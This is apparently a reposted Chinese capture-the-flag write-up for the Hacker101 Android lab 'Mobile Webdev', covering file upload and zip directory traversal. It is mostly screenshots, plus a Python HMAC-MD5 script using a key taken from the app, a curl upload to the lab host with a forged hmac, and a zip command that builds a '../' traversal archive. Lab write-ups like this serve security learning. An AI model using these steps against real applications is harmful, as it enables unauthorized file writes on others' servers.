本文章仅用于网络安全研究学习，请勿使用相关技术进行违法犯罪活动。
简介：Hacker101是世界上最大的赏金猎人网站Hackerone的教程靶场。
知识点：文件上传、zip目录穿越
这是一个android靶场，下载apk安装后主页如下。
REFRESH会去取请求一个网页，EDIT会可以编辑index.html文件。
![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/6-1722169687.png "[Hacker101靶场] Mobile Webdev[moderate]")
图1：app主页
![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/2-1722169688.png "[Hacker101靶场] Mobile Webdev[moderate]")
![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/5-1722169690.png "[Hacker101靶场] Mobile Webdev[moderate]")
![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/6-1722169692.png "[Hacker101靶场] Mobile Webdev[moderate]")
![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/5-1722169693.png "[Hacker101靶场] Mobile Webdev[moderate]")
import hmacimport hashlibimport binasciikey = binascii.unhexlify('8c34bac50d9b096d41cafb53683b315690acf65a11b5f63250c61f7718fa1d1d')with open("phpinfo.zip", 'rb') as f:data = f.read()h = hmac.new(key, data, hashlib.md5)print(h.hexdigest())
![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/2-1722169695.png "[Hacker101靶场] Mobile Webdev[moderate]")
![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/10-1722169696.png "[Hacker101靶场] Mobile Webdev[moderate]")
curl -vvv -H "X-Requested-With:com.hacker101.webdev" -F hmac=49f0f935a3bbff0e0a2bc94e3037f8c8 -F file=@phpinfo.zip https://d6d3e8864624d512a43a95f31034e219.ctf.hacker101.com/upload.php![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/3-1722169698.png "[Hacker101靶场] Mobile Webdev[moderate]")
zip 1 ../../../../1.txt![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/3-1722169699.png "[Hacker101靶场] Mobile Webdev[moderate]")
![[Hacker101靶场] Mobile Webdev[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/3-1722169700.png "[Hacker101靶场] Mobile Webdev[moderate]")
原文始发于微信公众号（Rsec）：[Hacker101靶场] Mobile Webdev[moderate]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论